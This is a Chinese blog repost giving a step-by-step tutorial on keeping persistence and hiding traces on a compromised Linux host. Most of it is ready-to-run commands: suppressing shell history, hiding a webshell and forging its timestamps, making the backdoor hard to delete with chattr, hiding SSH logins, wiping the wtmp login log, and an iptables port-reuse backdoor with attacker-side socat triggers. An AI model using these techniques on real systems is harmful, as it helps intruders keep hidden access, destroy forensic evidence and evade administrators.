百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 优雅编程 > 正文

Linux权限维持—隐藏踪迹篇

sinye56 2024-11-23 22:10 1 浏览 0 评论

隐藏历史操作命令

linux中可以使用history查看shell中历史输入的命令。如果我们希望在shell中执行的命令不被记录在命令行历史中,如何在linux中开启无痕操作模式呢?

#禁用历史记录功能
[space]set +o history
备注:[space] 表示空格。并且由于空格的缘故,该命令本身也不会被记录

#重新开启历史记录功能
[space]set -o history

#删除具体的某个记录
history -d 数组

上面的命令会临时禁用历史功能,这意味着在这命令之后你执行的所有操作都不会记录到历史记录中

隐藏文件/文件夹

1. 创建隐藏文件或者文件夹

touch .123.txt
mkdir .a
#文件名/夹前面加一个 点 就代表是隐藏文件/夹

修改文件时间戳

linux下藏后门必须要修改时间,否则很容易被发现,直接利用 touch 就可以了。假设我们上传了一个隐藏后门.webshell.php

1. 上传后门

明显看到.webshell.php时间戳不一样,ls-al,查看到的时间为文件修改的时间

我们还可以使用stat命令来查看文件具体的时间戳

stat 文件名

在Linux中,没有文件创建时间的概念。只有文件的访问时间、修改时间、状态改变时间。也就是说不能知道文件的创建时间。但如果文件创建后就没有修改过,修改时间=创建时间

stat查看时间戳有三种时间属性

2. 修改时间戳

直接利用 touch 就可以,比如参考 index.php 的时间,再赋给 .webshell.php,结果两个文件的时间就一样了

touch -r index.html .webshell.php

连接webshell,可见隐藏文件也可以进行连接的。

隐藏权限

在Linux中,使用chattr命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l是查看不出来的,从而达到隐藏权限的目的。

这个技巧常被用在后门,变成了一些难以清除的后门文件。

chattr +i .webshell.php 锁定文件,此时无法查看
lsattr .webshell.php 属性查看
chattr -i .webshell.php 解除锁定
rm -rf .webshell.php 删除文件

隐藏远程SSH登陆记录

在linux中可以使用last查看账号ssh登录情况

last|grep root

当我们用ssh进行登录时,就会记录,信息包括登录的账号,远程登录的主机,登录时间

ssh加上-T参数,可以进行隐藏登录记录,不被w、who、last等指令检测到

ssh -T -i id_rsa root@192.168.110.131 /bin/bash -i

清除last记录

echo “”>/var/log/wtmp

此时即看不到用户登录信息

端口复用

端口复用是指不同的应用程序使用相同端口进行通讯。我们可以通过端口复用来达到隐藏端口的目的。其他作用还有很多,如内网渗透中,搭建隧道时,服务器仅允许指定的端口对外开放。利用端口复用可以将3389或22等端口转发到如80端口上,以便外部连接。

1. 利用IPTables进行端口复用

假设主机开放的web服务是80端口,在被拿下的主机上执行如下命令

# 创建端口复用链
iptables -t nat -N LETMEIN
# 创建端口复用规则,将流量转发至 22 端口
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
#开启开关,如果接收到一个含有 threathuntercoming 的 TCP 包,则将来源 IP 添加到加为 letmein 的列表中
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
#关闭开关,如果接收到一个含有 threathunterleaving 的 TCP 包,则将来源 IP 从 letmein 的列表中移除
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
# let's do it,如果发现 SYN 包的来源 IP 处于 letmein 列表中,将跳转到 LETMEIN 链进行处理,有效时间为 3600 秒
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN

攻击者的linux系统上执行如下

#开启复用
echo threathuntercoming | socat - tcp:192.168.110.131:80
#ssh使用80端口进行登录
ssh -p 80 root@192.168.110.131 -T /bin/bash -i
#关闭复用,此时不能用80端口进行ssh连接
echo threathunterleaving | socat - tcp:192.168.110.131:80

连接目标80端口成功连接ssh

ps:进行端口复用后同时也可以用默认的22端口进行ssh连接




原文链接:https://blog.csdn.net/qq_44159028/article/details/124196458

相关推荐

Linux在线安装JDK1.8

首先在服务器pingwww.baidu.com查看是否可以连网然后就可以在线下载一、下载安装JDK1.81、在下载安装的同时做好一些准备工作...

Linux安装JDK,超详细

1、了解RPMRPM是Red-HatPackageManager(RPM软件包管理器)的缩写,这一文件格式名称虽然打上了RedHat的标志,但是其原始设计理念是开放式的,现在包括OpenLinux...

Linux安装jdk1.8(超级详细)

前言最近刚购买了一台阿里云的服务器准备要搭建一个网站,正好将网站的一个完整搭建过程分享给大家!#一、下载jdk1.8首先我们需要去下载linux版本的jdk1.8安装包,我们有两种方式去下载安装...

Linux系统安装JDK教程

下载jdk-8u151-linux-x64.tar.gz下载地址:https://www.oracle.com/technetwork/java/javase/downloads/index.ht...

干货|JDK下载安装与环境变量配置图文教程「超详细」

1.JDK介绍1.1什么是JDK?SUN公司提供了一套Java开发环境,简称JDK(JavaDevelopmentKit),它是整个Java的核心,其中包括Java编译器、Java运行工具、Jav...

Linux下安装jdk1.8

一、安装环境操作系统:CentOSLinuxrelease7.6.1810(Core)JDK版本:1.8二、安装步骤1.下载安装包...

Linux上安装JDK

以CentOS为例。检查是否已安装过jdk。yumlist--installed|grepjdk或者...

Linux系统的一些常用目录以及介绍

根目录(/):“/”目录也称为根目录,位于Linux文件系统目录结构的顶层。在很多系统中,“/”目录是系统中的唯一分区。如果还有其他分区,必须挂载到“/”目录下某个位置。整个目录结构呈树形结构,因此也...

Linux系统目录结构

一、系统目录结构几乎所有的计算机操作系统都是使用目录结构组织文件。具体来说就是在一个目录中存放子目录和文件,而在子目录中又会进一步存放子目录和文件,以此类推形成一个树状的文件结构,由于其结构很像一棵树...

Linux文件查找

在Linux下通常find不很常用的,因为速度慢(find是直接查找硬盘),通常我们都是先使用whereis或者是locate来检查,如果真的找不到了,才以find来搜寻。为什么...

嵌入式linux基本操作之查找文件

对于很多初学者来说都习惯用windows操作系统,对于这个系统来说查找一个文件简直不在话下。而学习嵌入式开发行业之后,发现所用到的是嵌入式Linux操作系统,本想着跟windows类似,结果在操作的时...

linux系统查看软件安装目录的方法

linux系统下怎么查看软件安装的目录?方法1:whereis软件名以查询nginx为例子...

Linux下如何对目录中的文件进行统计

统计目录中的文件数量...

Linux常见文件目录管理命令

touch用于创建空白文件touch文件名称mkdir用于创建空白目录还可以通过参数-p创建递归的目录...

Linux常用查找文件方法总结

一、前言Linux系统提供了多种查找文件的命令,而且每种查找命令都具有其独特的优势,下面详细总结一下常用的几个Linux查找命令。二、which命令查找类型:二进制文件;...

取消回复欢迎 发表评论: